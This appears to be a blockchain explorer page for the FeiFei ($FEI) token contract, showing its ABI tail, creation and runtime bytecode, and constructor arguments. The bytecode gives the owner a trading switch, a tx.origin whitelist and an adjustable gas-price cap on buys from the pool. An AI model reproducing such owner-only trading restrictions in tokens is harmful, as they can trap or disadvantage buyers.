pe":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405264e8990a4600600a5534801562000019575f80fd5b50604051620015b1380380620015b18339810160408190526200003c9162000591565b33828260036200004d838262000682565b5060046200005c828262000682565b5050506001600160a01b0381166200008e57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6200009981620001c3565b5060098054731f98431c8ad98523631ae4a59f267346ea31f9846001600160a01b031991821681179092556008805473c02aaa39b223fe8d0a0e5c4f27ead9083c756cc292168217905560405163a167129560e01b8152306004820152602481019190915260646044820181905263a167129591016020604051808303815f875af11580156200012b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200015191906200074a565b600780546001600160a01b0319166001600160a01b0392909216919091179055335f818152600660205260409020805460ff19166001179055620001bb9062000198601290565b620001a590600a62000888565b620001b590633b9aca0062000898565b62000214565b5050620008c8565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166200023f5760405163ec442f0560e01b81525f600482015260240162000085565b6200024c5f838362000250565b5050565b325f9081526006602052604090205460ff16156200027a5762000275838383620003a4565b505050565b600554600160a01b900460ff16620002c45760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b604482015260640162000085565b6007545f906001600160a01b03848116911614620002e3575f620002e6565b60015b905080156200035657600a543a1115620003435760405162461bcd60e51b815260206004820152601360248201527f4e6f7420656e6f75676820676173206665657300000000000000000000000000604482015260640162000085565b62000350848484620003a4565b50505050565b80620003695762000350848484620003a4565b6007546001600160a01b038581169116148015906200039657506007546001600160a01b03848116911614155b156200035057620003508484845b6001600160a01b038316620003d2578060025f828254620003c69190620008b2565b90915550620004449050565b6001600160a01b0383165f9081526020819052604090205481811015620004265760405163391434e360e21b81526001600160a01b0385166004820152602481018290526044810183905260640162000085565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b038216620004625760028054829003905562000480565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004c691815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112620004f7575f80fd5b81516001600160401b0380821115620005145762000514620004d3565b604051601f8301601f19908116603f011681019082821181831017156200053f576200053f620004d3565b816040528381526020925086838588010111156200055b575f80fd5b5f91505b838210156200057e57858201830151818301840152908201906200055f565b5f93810190920192909252949350505050565b5f8060408385031215620005a3575f80fd5b82516001600160401b0380821115620005ba575f80fd5b620005c886838701620004e7565b93506020850151915080821115620005de575f80fd5b50620005ed85828601620004e7565b9150509250929050565b600181811c908216806200060c57607f821691505b6020821081036200062b57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000275575f81815260208120601f850160051c81016020861015620006595750805b601f850160051c820191505b818110156200067a5782815560010162000665565b505050505050565b81516001600160401b038111156200069e576200069e620004d3565b620006b681620006af8454620005f7565b8462000631565b602080601f831160018114620006ec575f8415620006d45750858301515b5f19600386901b1c1916600185901b1785556200067a565b5f85815260208120601f198616915b828110156200071c57888601518255948401946001909101908401620006fb565b50858210156200073a57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b5f602082840312156200075b575f80fd5b81516001600160a01b038116811462000772575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620007cd57815f1904821115620007b157620007b162000779565b80851615620007bf57918102915b93841c939080029062000792565b509250929050565b5f82620007e55750600162000882565b81620007f357505f62000882565b81600181146200080c5760028114620008175762000837565b600191505062000882565b60ff8411156200082b576200082b62000779565b50506001821b62000882565b5060208310610133831016604e8410600b84101617156200085c575081810a62000882565b6200086883836200078d565b805f19048211156200087e576200087e62000779565b0290505b92915050565b5f6200077260ff841683620007d5565b808202811582820484141762000882576200088262000779565b8082018082111562000882576200088262000779565b610cdb80620008d65f395ff3fe608060405234801561000f575f80fd5b5060043610610111575f3560e01c80638da5cb5b1161009e578063c45a01551161006e578063c45a01551461022a578063d780cdee1461023d578063dd62ed3e14610246578063f2fde38b1461027e578063fb65fdbe14610291575f80fd5b80638da5cb5b146101d757806395d89b41146101fc578063a9059cbb14610204578063ad5c464814610217575f80fd5b806323b872dd116100e457806323b872dd14610172578063313ce567146101855780636c76cb6e1461019457806370a08231146101a7578063715018a6146101cf575f80fd5b806306fdde0314610115578063095ea7b3146101335780630f8540e41461015657806318160ddd14610160575b5f80fd5b61011d6102a4565b60405161012a9190610919565b60405180910390f35b61014661014136600461097f565b610334565b604051901515815260200161012a565b61015e61034d565b005b6002545b60405190815260200161012a565b6101466101803660046109a7565b6103c1565b6040516012815260200161012a565b61015e6101a23660046109e0565b6103e4565b6101646101b53660046109f7565b6001600160a01b03165f9081526020819052604090205490565b61015e6103f1565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161012a565b61011d610404565b61014661021236600461097f565b610413565b6008546101e4906001600160a01b031681565b6009546101e4906001600160a01b031681565b610164600a5481565b610164610254366004610a17565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61015e61028c3660046109f7565b610420565b61015e61029f366004610ae5565b61045d565b6060600380546102b390610b45565b80601f01602080910402602001604051908101604052809291908181526020018280546102df90610b45565b801561032a5780601f106103015761010080835404028352916020019161032a565b820191905f5260205f20905b81548152906001019060200180831161030d57829003601f168201915b5050505050905090565b5f33610341818585610473565b60019150505b92915050565b610355610485565b600554600160a01b900460ff16156103ac5760405162461bcd60e51b8152602060048201526015602482015274151c985919481a185cc81899595b8813dc195b9959605a1b60448201526064015b60405180910390fd5b6005805460ff60a01b1916600160a01b179055565b5f336103ce8582856104b2565b6103d985858561052d565b506001949350505050565b6103ec610485565b600a55565b6103f9610485565b6104025f61058a565b565b6060600480546102b390610b45565b5f3361034181858561052d565b610428610485565b6001600160a01b03811661045157604051631e4fbdf760e01b81525f60048201526024016103a3565b61045a8161058a565b50565b610465610485565b61046f82826105db565b5050565b61048083838360016105f4565b505050565b6005546001600160a01b031633146104025760405163118cdaa760e01b81523360048201526024016103a3565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610527578181101561051957604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016103a3565b61052784848484035f6105f4565b50505050565b6001600160a01b03831661055657604051634b637e8f60e11b81525f60048201526024016103a3565b6001600160a01b03821661057f5760405163ec442f0560e01b81525f60048201526024016103a3565b6104808383836106c6565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b60036105e78382610bca565b5060046104808282610bca565b6001600160a01b03841661061d5760405163e602df0560e01b81525f60048201526024016103a3565b6001600160a01b03831661064657604051634a1406b160e11b81525f60048201526024016103a3565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561052757826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106b891815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff16156106e8576104808383836107f3565b600554600160a01b900460ff166107305760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b60448201526064016103a3565b6007545f906001600160a01b0384811691161461074d575f610750565b60015b905080156107ab57600a543a11156107a05760405162461bcd60e51b81526020600482015260136024820152724e6f7420656e6f75676820676173206665657360681b60448201526064016103a3565b6105278484846107f3565b806107bb576105278484846107f3565b6007546001600160a01b038581169116148015906107e757506007546001600160a01b03848116911614155b15610527576105278484845b6001600160a01b03831661081d578060025f8282546108129190610c86565b9091555061088d9050565b6001600160a01b0383165f908152602081905260409020548181101561086f5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016103a3565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166108a9576002805482900390556108c7565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161090c91815260200190565b60405180910390a3505050565b5f6020808352835180828501525f5b8181101561094457858101830151858201604001528201610928565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461097a575f80fd5b919050565b5f8060408385031215610990575f80fd5b61099983610964565b946020939093013593505050565b5f805f606084860312156109b9575f80fd5b6109c284610964565b92506109d060208501610964565b9150604084013590509250925092565b5f602082840312156109f0575f80fd5b5035919050565b5f60208284031215610a07575f80fd5b610a1082610964565b9392505050565b5f8060408385031215610a28575f80fd5b610a3183610964565b9150610a3f60208401610964565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610a6b575f80fd5b813567ffffffffffffffff80821115610a8657610a86610a48565b604051601f8301601f19908116603f01168101908282118183101715610aae57610aae610a48565b81604052838152866020858801011115610ac6575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610af6575f80fd5b823567ffffffffffffffff80821115610b0d575f80fd5b610b1986838701610a5c565b93506020850135915080821115610b2e575f80fd5b50610b3b85828601610a5c565b9150509250929050565b600181811c90821680610b5957607f821691505b602082108103610b7757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115610480575f81815260208120601f850160051c81016020861015610ba35750805b601f850160051c820191505b81811015610bc257828155600101610baf565b505050505050565b815167ffffffffffffffff811115610be457610be4610a48565b610bf881610bf28454610b45565b84610b7d565b602080601f831160018114610c2b575f8415610c145750858301515b5f19600386901b1c1916600185901b178555610bc2565b5f85815260208120601f198616915b82811015610c5957888601518255948401946001909101908401610c3a565b5085821015610c7657878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111561034757634e487b7160e01b5f52601160045260245ffdfea26469706673582212206359bde7e3d784ae09c844a08e68e4ecd317fd45c666dcce9909ade4c0c780bd64736f6c63430008140033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000006466569466569000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000042446454900000000000000000000000000000000000000000000000000000000

0x608060405234801561000f575f80fd5b5060043610610111575f3560e01c80638da5cb5b1161009e578063c45a01551161006e578063c45a01551461022a578063d780cdee1461023d578063dd62ed3e14610246578063f2fde38b1461027e578063fb65fdbe14610291575f80fd5b80638da5cb5b146101d757806395d89b41146101fc578063a9059cbb14610204578063ad5c464814610217575f80fd5b806323b872dd116100e457806323b872dd14610172578063313ce567146101855780636c76cb6e1461019457806370a08231146101a7578063715018a6146101cf575f80fd5b806306fdde0314610115578063095ea7b3146101335780630f8540e41461015657806318160ddd14610160575b5f80fd5b61011d6102a4565b60405161012a9190610919565b60405180910390f35b61014661014136600461097f565b610334565b604051901515815260200161012a565b61015e61034d565b005b6002545b60405190815260200161012a565b6101466101803660046109a7565b6103c1565b6040516012815260200161012a565b61015e6101a23660046109e0565b6103e4565b6101646101b53660046109f7565b6001600160a01b03165f9081526020819052604090205490565b61015e6103f1565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161012a565b61011d610404565b61014661021236600461097f565b610413565b6008546101e4906001600160a01b031681565b6009546101e4906001600160a01b031681565b610164600a5481565b610164610254366004610a17565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61015e61028c3660046109f7565b610420565b61015e61029f366004610ae5565b61045d565b6060600380546102b390610b45565b80601f01602080910402602001604051908101604052809291908181526020018280546102df90610b45565b801561032a5780601f106103015761010080835404028352916020019161032a565b820191905f5260205f20905b81548152906001019060200180831161030d57829003601f168201915b5050505050905090565b5f33610341818585610473565b60019150505b92915050565b610355610485565b600554600160a01b900460ff16156103ac5760405162461bcd60e51b8152602060048201526015602482015274151c985919481a185cc81899595b8813dc195b9959605a1b60448201526064015b60405180910390fd5b6005805460ff60a01b1916600160a01b179055565b5f336103ce8582856104b2565b6103d985858561052d565b506001949350505050565b6103ec610485565b600a55565b6103f9610485565b6104025f61058a565b565b6060600480546102b390610b45565b5f3361034181858561052d565b610428610485565b6001600160a01b03811661045157604051631e4fbdf760e01b81525f60048201526024016103a3565b61045a8161058a565b50565b610465610485565b61046f82826105db565b5050565b61048083838360016105f4565b505050565b6005546001600160a01b031633146104025760405163118cdaa760e01b81523360048201526024016103a3565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f198114610527578181101561051957604051637dc7a0d960e11b81526001600160a01b038416600482015260248101829052604481018390526064016103a3565b61052784848484035f6105f4565b50505050565b6001600160a01b03831661055657604051634b637e8f60e11b81525f60048201526024016103a3565b6001600160a01b03821661057f5760405163ec442f0560e01b81525f60048201526024016103a3565b6104808383836106c6565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b60036105e78382610bca565b5060046104808282610bca565b6001600160a01b03841661061d5760405163e602df0560e01b81525f60048201526024016103a3565b6001600160a01b03831661064657604051634a1406b160e11b81525f60048201526024016103a3565b6001600160a01b038085165f908152600160209081526040808320938716835292905220829055801561052757826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516106b891815260200190565b60405180910390a350505050565b325f9081526006602052604090205460ff16156106e8576104808383836107f3565b600554600160a01b900460ff166107305760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b60448201526064016103a3565b6007545f906001600160a01b0384811691161461074d575f610750565b60015b905080156107ab57600a543a11156107a05760405162461bcd60e51b81526020600482015260136024820152724e6f7420656e6f75676820676173206665657360681b60448201526064016103a3565b6105278484846107f3565b806107bb576105278484846107f3565b6007546001600160a01b038581169116148015906107e757506007546001600160a01b03848116911614155b15610527576105278484845b6001600160a01b03831661081d578060025f8282546108129190610c86565b9091555061088d9050565b6001600160a01b0383165f908152602081905260409020548181101561086f5760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016103a3565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166108a9576002805482900390556108c7565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161090c91815260200190565b60405180910390a3505050565b5f6020808352835180828501525f5b8181101561094457858101830151858201604001528201610928565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461097a575f80fd5b919050565b5f8060408385031215610990575f80fd5b61099983610964565b946020939093013593505050565b5f805f606084860312156109b9575f80fd5b6109c284610964565b92506109d060208501610964565b9150604084013590509250925092565b5f602082840312156109f0575f80fd5b5035919050565b5f60208284031215610a07575f80fd5b610a1082610964565b9392505050565b5f8060408385031215610a28575f80fd5b610a3183610964565b9150610a3f60208401610964565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610a6b575f80fd5b813567ffffffffffffffff80821115610a8657610a86610a48565b604051601f8301601f19908116603f01168101908282118183101715610aae57610aae610a48565b81604052838152866020858801011115610ac6575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610af6575f80fd5b823567ffffffffffffffff80821115610b0d575f80fd5b610b1986838701610a5c565b93506020850135915080821115610b2e575f80fd5b50610b3b85828601610a5c565b9150509250929050565b600181811c90821680610b5957607f821691505b602082108103610b7757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115610480575f81815260208120601f850160051c81016020861015610ba35750805b601f850160051c820191505b81811015610bc257828155600101610baf565b505050505050565b815167ffffffffffffffff811115610be457610be4610a48565b610bf881610bf28454610b45565b84610b7d565b602080601f831160018114610c2b575f8415610c145750858301515b5f19600386901b1c1916600185901b178555610bc2565b5f85815260208120601f198616915b82811015610c5957888601518255948401946001909101908401610c3a565b5085821015610c7657878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111561034757634e487b7160e01b5f52601160045260245ffdfea26469706673582212206359bde7e3d784ae09c844a08e68e4ecd317fd45c666dcce9909ade4c0c780bd64736f6c63430008140033

000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000006466569466569000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000042446454900000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): FeiFei
Arg [1] : symbol_ (string): $FEI

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [3] : 4665694665690000000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [5] : 2446454900000000000000000000000000000000000000000000000000000000